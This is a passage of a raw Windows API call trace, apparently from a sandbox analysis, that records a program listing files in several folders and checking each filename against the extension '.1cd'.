lstrlenW (lpString=".1cd") returned 4 [0265.376] FindNextFileW (in: hFindFile=0x624400, lpFindFileData=0x37aeb9c | out: lpFindFileData=0x37aeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.377] FindNextFileW (in: hFindFile=0x624400, lpFindFileData=0x37aeb9c | out: lpFindFileData=0x37aeb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8fab, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0265.377] lstrlenW (lpString="DEXShare.asfx") returned 13 [0265.377] lstrlenW (lpString=".1cd") returned 4 [0265.383] FindNextFileW (in: hFindFile=0x624640, lpFindFileData=0x37aee18 | out: lpFindFileData=0x37aee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.383] FindNextFileW (in: hFindFile=0x624640, lpFindFileData=0x37aee18 | out: lpFindFileData=0x37aee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db73c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessibility.RUM", cAlternateFileName="ACCESS~1.RUM")) returned 1 [0265.383] lstrlenW (lpString="Accessibility.RUM") returned 17 [0265.383] lstrlenW (lpString=".1cd") returned 4 [0265.386] FindNextFileW (in: hFindFile=0x624400, lpFindFileData=0x37aeb9c | out: lpFindFileData=0x37aeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.386] FindNextFileW (in: hFindFile=0x624400, lpFindFileData=0x37aeb9c | out: lpFindFileData=0x37aeb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x93a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0265.386] lstrlenW (lpString="DEXShare.asfx") returned 13 [0265.386] lstrlenW (lpString=".1cd") returned 4 [0265.578] FindNextFileW (in: hFindFile=0x624400, lpFindFileData=0x37aee18 | out: lpFindFileData=0x37aee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.601] FindNextFileW (in: hFindFile=0x624400, lpFindFileData=0x37aee18 | out: lpFindFileData=0x37aee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db73c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xae00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessibility.RUS", cAlternateFileName="ACCESS~1.RUS")) returned 1 [0265.601] lstrlenW (lpString="Accessibility.RUS") returned 17 [0265.601] lstrlenW (lpString=".1cd") returned 4 [0265.801] FindNextFileW (in: hFindFile=0x6243c0, lpFindFileData=0x37aeb9c | out: lpFindFileData=0x37aeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.802] FindNextFileW (in: hFindFile=0x6243c0, lpFindFileData=0x37aeb9c | out: lpFindFileData=0x37aeb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9103, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0265.802] lstrlenW (lpString="DEXShare.asfx") returned 13 [0265.802] lstrlenW (lpString=".1cd") returned 4 [0265.808] FindNextFileW (in: hFindFile=0x624400, lpFindFileData=0x37aee18 | out: lpFindFileData=0x37aee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.809] FindNextFileW (in: hFindFile=0x624400, lpFindFileData=0x37aee18 | out: lpFindFileData=0x37aee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.SVE", cAlternateFileName="ACCESS~1.SVE")) returned 1 [0265.809] lstrlenW (lpString="accessibility.SVE") returned 17 [0265.809] lstrlenW (lpString=".1cd") returned 4 [0265.811] FindNextFileW (in: hFindFile=0x6243c0, lpFindFileData=0x37aeb9c | out: lpFindFileData=0x37aeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.811] FindNextFileW (in: hFindFile=0x6243c0, lpFindFileData=0x37aeb9c | out: lpFindFileData=0x37aeb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8d1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0265.811] lstrlenW (lpString="DEXShare.asfx") returned 13 [0265.811] lstrlenW (lpString=".1cd") returned 4 [0265.820] FindNextFileW (in: hFindFile=0x624400, lpFindFileData=0x37aee18 | out: lpFindFileData=0x37aee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d795840, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832a21c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.820] FindNextFileW (in: hFindFile=0x624400, lpFindFileData=0x37aee18 | out: lpFindFileData=0x37aee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db4daa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessibility.TUR", cAlternateFileName="ACCESS~1.TUR")) returned 1 [0265.820] lstrlenW (lpString="Accessibility.TUR") returned 17 [0265.820] lstrlenW (lpString=".1cd") returned 4 [0265.824] FindNextFileW (in: hFindFile=0x6243c0, lpFindFileData=0x37aeb9c | out: lpFindFileData=0x37aeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.824] FindNextFileW (in: hFindFile=0x6243c0, lpFindFileData=0x37aeb9c | out: lpFindFileData=0x37aeb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9270, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0265.825] lstrlenW (lpString="DEXShare.asfx") returned 13 [0265.825] lstrlenW (lpString=".1cd") returned 4 [0265.831] FindNextFileW (in: hFindFile=0x624400, lpFindFileData=0x37aee18 | out: lpFindFileData=0x37aee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d795840, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832a21c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.831] FindNextFileW (in: hFindFile=0x624400, lpFindFileData=0x37aee18 | out: lpFindFileData=0x37aee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db4daa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessibility.UKR", cAlternateFileName="ACCESS~1.UKR")) returned 1 [0265.831] lstrlenW (lpString="Accessibility.UKR") returned 17 [0265.831] lstrlenW (lpString=".1cd") returned 4 [0265.832] FindNextFileW (in: hFindFile=0x6243c0, lpFindFileData=0x37aeb9c | out: lpFindFileData=0x37aeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.833] FindNextFileW (in: hFindFile=0x6243c0, lpFindFileData=0x37aeb9c | out: lpFindFileData=0x37aeb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xbab1, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0265.833] lstrlenW (lpString="DEXShare.asfx") returned 13 [0265.833] lstrlenW (lpString=".1cd") returned 4 [0266.112] FindNextFileW (in: hFindFile=0x624400, lpFindFileData=0x37aee18 | out: lpFindFileData=0x37aee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d6d7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.112] FindNextFileW (in: hFindFile=0x624400, lpFindFileData=0x37aee18 | out: lpFindFileData=0x37aee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.CHS", cAlternateFileName="ACCESS~1.CHS")) returned 1 [0266.112] lstrlenW (lpString="accessibility.CHS") returned 17 [0266.112] lstrlenW (lpString=".1cd") returned 4 [0266.211] FindNextFileW (in: hFindFile=0x6243c0, lpFindFileData=0x37aeb9c | out: lpFindFileData=0x37aeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.211] FindNextFileW (in: hFindFile=0x6243c0, lpFindFileData=0x37aeb9c | out: lpFindFileData=0x37aeb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x899d, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0266.211] lstrlenW (lpString="DEXShare.asfx") returned 13 [0266.212] lstrlenW (lpString=".1cd") returned 4 [0266.410] FindNextFileW (in: hFindFile=0x624640, lpFindFileData=0x37aee18 | out: lpFindFileData=0x37aee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d618a80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.420] FindNextFileW (in: hFindFile=0x624640, lpFindFileData=0x37aee18 | out: lpFindFileData=0x37aee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.CHT", cAlternateFileName="ACCESS~1.CHT")) returned 1 [0266.421] lstrlenW (lpString="accessibility.CHT") returned 17 [0266.421] lstrlenW (lpString=".1cd") returned 4 [0266.681] FindNextFileW (in: hFindFile=0x6245c0, lpFindFileData=0x37ae920 | out: lpFindFileData=0x37ae920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.681] FindNextFileW (in: hFindFile=0x6245c0, lpFindFileData=0x37ae920 | out: lpFindFileData=0x37ae920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13e0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0266.681] lstrlenW (lpString="Dynamic.pdf") returned 11 [0266.681] lstrlenW (lpString=".1cd") returned 4 [0266.683] FindNextFileW (in: hFindFile=0x6245c0, lpFindFileData=0x37ae920 | out: lpFindFileData=0x37ae920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff28600, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff4e760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.683] FindNextFileW (in: hFindFile=0x6245c0, lpFindFileData=0x37ae920 | out: lpFindFileData=0x37ae920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x132cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0266.683] lstrlenW (lpString="Dynamic.pdf") returned 11 [0266.683] lstrlenW (lpString=".1cd") returned 4 [0266.690] FindNextFileW (in: hFindFile=0x6245c0, lpFindFileData=0x37ae920 | out: lpFindFileData=0x37ae920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8070aee0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80731040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80731040, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.690] FindNextFileW (in: hFindFile=0x6245c0, lpFindFileData=0x37ae920 | out: lpFindFileData=0x37ae920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80731040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7d00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0266.690] lstrlenW (lpString="Dynamic.pdf") returned 11 [0266.690] lstrlenW (lpString=".1cd") returned 4 [0266.696] FindNextFileW (in: hFindFile=0x6245c0, lpFindFileData=0x37ae920 | out: lpFindFileData=0x37ae920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff4e760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff4e760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.696] FindNextFileW (in: hFindFile=0x6245c0, lpFindFileData=0x37ae920 | out: lpFindFileData=0x37ae920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe6d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0266.697] lstrlenW (lpString="Dynamic.pdf") returned 11 [0266.697] lstrlenW (lpString=".1cd") returned 4 [0266.699] FindNextFileW (in: hFindFile=0x6245c0, lpFindFileData=0x37ae920 | out: lpFindFileData=0x37ae920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7fedc340, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.699] FindNextFileW (in: hFindFile=0x6245c0, lpFindFileData=0x37ae920 | out: lpFindFileData=0x37ae920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xcadf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0266.699] lstrlenW (lpString="Dynamic.pdf") returned 11 [0266.699] lstrlenW (lpString=".1cd") returned 4 [0266.701] FindNextFileW (in: hFindFile=0x6245c0, lpFindFileData=0x37ae920 | out: lpFindFileData=0x37ae920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.701] FindNextFileW (in: hFindFile=0x6245c0, lpFindFileData=0x37ae920 | out: lpFindFileData=0x37ae920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xdf82, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0266.701] lstrlenW (lpString="Dynamic.pdf") returned 11 [0266.701] lstrlenW (lpString=".1cd") returned 4 [0266.704] FindNextFileW (in: hFindFile=0x6245c0, lpFindFileData=0x37ae920 | out: lpFindFileData=0x37ae920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff4e760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff4e760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.704] FindNextFileW (in: hFindFile=0x6245c0, lpFindFileData=0x37ae920 | out: lpFindFileData=0x37ae920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xcdd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0266.704] lstrlenW (lpString="Dynamic.pdf") returned 11 [0266.704] lstrlenW (lpString=".1cd") returned 4 [0266.711] FindNextFileW (in: hFindFile=0x6245c0, lpFindFileData=0x37ae920 | out: lpFindFileData=0x37ae920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81e8c820, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.711] FindNextFileW (in: hFindFile=0x6245c0, lpFindFileData=0x37ae920 | out: lpFindFileData=0x37ae920*(dwFileAttributes=0x20, 